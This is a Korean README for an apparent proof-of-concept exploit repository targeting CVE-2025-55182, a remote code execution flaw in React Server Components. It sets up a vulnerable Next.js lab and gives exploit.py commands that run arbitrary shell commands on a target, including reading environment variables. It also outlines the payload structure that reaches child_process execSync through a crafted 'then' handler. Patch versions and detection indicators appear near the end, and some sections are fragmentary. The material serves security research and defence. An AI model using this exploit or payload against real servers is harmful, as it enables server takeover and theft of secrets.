
React2Shell (CVE-2025-55182)용 PoC
이 저장소는 React Server Components의 심각한 원격 코드 실행 취약점인 CVE-2025-55182에 대한 개념 증명(PoC)을 포함하고 있습니다. 이는 승인된 보안 테스트 및 연구 목적으로만 사용해야 합니다.
React:
Next.js:
이 취약점은 React Server Components Flight 프로토콜의 안전하지 않은 역직렬화를 악용합니다. 서버가 특수하게 조작된 페이로드를 수신하면 역직렬화 전에 구조를 제대로 검증하지 못하여, 공격자가 제어하는 데이터가 서버 측 실행을 조작할 수 있게 됩니다.
then 메서드가 포함됩니다.process.mainModule.require('child_process')를 통해 서버에서 임의의 JavaScript가 실행됩니다.npm install
npm run dev
서버는 http://localhost:3000 에서 시작됩니다.
app/
├── page.js # Main page with ServerForm
├── ServerForm.js # Client component with form
├── actions.js # Vulnerable Server Action
└── layout.js # Root layout
python3 exploit.py -t http://localhost:3000 -c "whoami"
-t, --target: 대상 URL (필수)-c, --command: 실행할 셸 명령어 (기본값: id)--check-only: 대상이 취약해 보이는지만 확인대상이 취약한지 확인:
python3 exploit.py -t http://localhost:3000 --check-only
임의의 명령어 실행:
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"
# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"
# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"
# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"
이 공격은 multipart form-data를 다음과 같이 사용합니다:
Field "0": Malicious JSON with custom 'then' handler
Field "1": Reference to field 0 ($@0)
Header: Next-Action: x (triggers RSC processing)
페이로드는 내부 _response 객체를 조작하여 다음을 실행합니다:
process.mainModule.require('child_process').execSync('<command>')
React 업데이트:
npm install [email protected] [email protected]
Next.js 업데이트:
npm install [email protected] # or latest patched version
Next-Action 헤더가 포함된 RSC 엔드포인트로의 예기치 않은 POST 요청$@ 참조가 포함된 multipart form-data 페이로드then 속성POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@
이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
금지 사항:
MIT 라이선스 - 보안 연구 목적으로만 사용